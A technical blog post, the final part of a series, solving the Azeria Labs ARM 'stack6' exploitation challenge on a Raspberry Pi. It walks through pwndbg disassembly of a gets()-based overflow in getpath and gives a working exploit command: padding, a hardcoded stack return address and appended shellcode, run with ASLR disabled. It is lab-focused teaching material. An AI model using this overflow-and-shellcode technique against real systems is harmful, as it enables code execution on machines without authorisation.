The Book of Gehn

Smashing ARM Stack for Fun - Part VII

February 4, 2021

It’s time to solve the last challenge of this 7 parts serie.

The vuln

This time the overflow is not in main but in called function named getpath but besides that, it is the classical unbounded gets vulnerability.

pwndbg> pdisass &main 10
  0x10560 <main>                 push   {fp, lr}
   0x10564 <main+4>               add    fp, sp, #4
   0x10568 <main+8>               sub    sp, sp, #8
   0x1056c <main+12>              str    r0, [fp, #-8]
   0x10570 <main+16>              str    r1, [fp, #-0xc]
   0x10574 <main+20>              bl     #getpath <getpath>

   0x10578 <main+24>              mov    r0, r3
   0x1057c <main+28>              sub    sp, fp, #4
   0x10580 <main+32>              pop    {fp, pc}

pwndbg> p (char*)(*(0x104e8 + 0x60 + 0x8)) $7 = 0x105f8 "input path please: " pwndbg> p (char*)(*(0x10524 + 0x2c + 0x8)) $8 = 0x1060c "bzzzt (%p)\n" pwndbg> p (char*)(*(0x1053c + 0x18 + 0x8)) $9 = 0x10618 "got path %s\n"

Here is the getpath function. I added some notes in addition to the disassembly:

pwndbg> pdisass &getpath 15
  0x104d8 <getpath>        push   {r4, fp, lr}
   0x104dc <getpath+4>      add    fp, sp, #8
   0x104e0 <getpath+8>      sub    sp, sp, #0x4c
   0x104e4 <getpath+12>     mov    r4, lr
   0x104e8 <getpath+16>     ldr    r0, [pc, #0x60]
   0x104ec <getpath+20>     bl     #printf@plt <printf@plt> ; "input path please: "

   0x104f0 <getpath+24>     ldr    r3, [pc, #0x5c]
   0x104f4 <getpath+28>     ldr    r3, [r3]
   0x104f8 <getpath+32>     mov    r0, r3
   0x104fc <getpath+36>     bl     #fflush@plt <fflush@plt>

   0x10500 <getpath+40>     sub    r3, fp, #0x50
   0x10504 <getpath+44>     mov    r0, r3
   0x10508 <getpath+48>     bl     #gets@plt <gets@plt>

   0x1050c <getpath+52>     mov    r3, r4
   0x10510 <getpath+56>     str    r3, [fp, #-0x10]
   0x10514 <getpath+60>     ldr    r3, [fp, #-0x10]
   0x10518 <getpath+64>     and    r3, r3, #0xbf000000  ; bin 1011 1111 0...
   0x1051c <getpath+68>     cmp    r3, #0xbf000000
   0x10520 <getpath+72>     bne    #getpath+96 <getpath+96>

   0x10524 <getpath+76>     ldr    r0, [pc, #0x2c]
   0x10528 <getpath+80>     ldr    r1, [fp, #-0x10]
   0x1052c <getpath+84>     bl     #printf@plt <printf@plt> ; "bzzzt (%p)\n"

   0x10530 <getpath+88>     mov    r0, #1
   0x10534 <getpath+92>     bl     #_exit@plt <_exit@plt>

   0x10538 <getpath+96>     sub    r3, fp, #0x50
   0x1053c <getpath+100>    ldr    r0, [pc, #0x18]
   0x10540 <getpath+104>    mov    r1, r3
   0x10544 <getpath+108>    bl     #printf@plt <printf@plt> ; "got path %s\n"

   0x10548 <getpath+112>    sub    sp, fp, #8
   0x1054c <getpath+116>    pop    {r4, fp, pc}

Writing 0x50 bytes we overwrite the stack just before writing the ret address: 0x4 more bytes and we are done.

  0x104d8 <getpath>        push   {r4, fp, lr}
   0x104dc <getpath+4>      add    fp, sp, #8
   ...
   0x10500 <getpath+40>     sub    r3, fp, #0x50
   0x10504 <getpath+44>     mov    r0, r3
   0x10508 <getpath+48>     bl     #gets@plt <gets@plt>

The stack pointer sp after getpath returns will be at 4 bytes more than fp before the return:

(gdb) x/1wx $fp   ; before getpath returns
0xbefffb84:     0x00010578 ; <-- ret address (to main)

(gdb) bt
#0  0x000104e8 in getpath ()
#1  0x00010578 in main ()

The attack (without DEP and ASLR)

The egg.text is the same one used in the part 6.

pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x88\xfb\xff\xbe' > exploit
pi@raspberrypi:~$ cat egg.text >> exploit

pi@raspberrypi:~$ rm -f pwned_proof

pi@raspberrypi:~$ setarch linux32 --addr-no-randomize /bin/bash

(aslr disabled) pi@raspberrypi:~$ cat exploit | ./stack6
(aslr disabled) pi@raspberrypi:~$ echo $?
0

(aslr disabled) pi@raspberrypi:~$ cat pwned_proof
pwn!

Future work

This is the last part of the ARM challenges from Azeria Labs.

However there are a lot of things to explore, tweak and stretch.

In the part 6 I coded a ARM egg, the next obvious step would be write the same egg in Thumb mode.

So far, the egg was always loaded in the stack and executed there. In these modern days, the stack is not executable so it would be cool to learn how to bypass this restriction (known as Data Execution Prevention DEP or Write-xor-Execute W+E).

Since part 5 we were hardcoding addresses. Shame on me.

Address Space Layout Randomization (ASLR) is a well established feature of modern OS to randomize the base address of the loaded libraries. Bypassing techniques exist since at least 2007 so it is a definitely topic to learn.

Related tags: reversing, exploiting, ARM, iasm, azeria-labs, egg, shellcode, PIC

Smashing ARM Stack for Fun - Part VII - February 4, 2021 - Martin Di Paola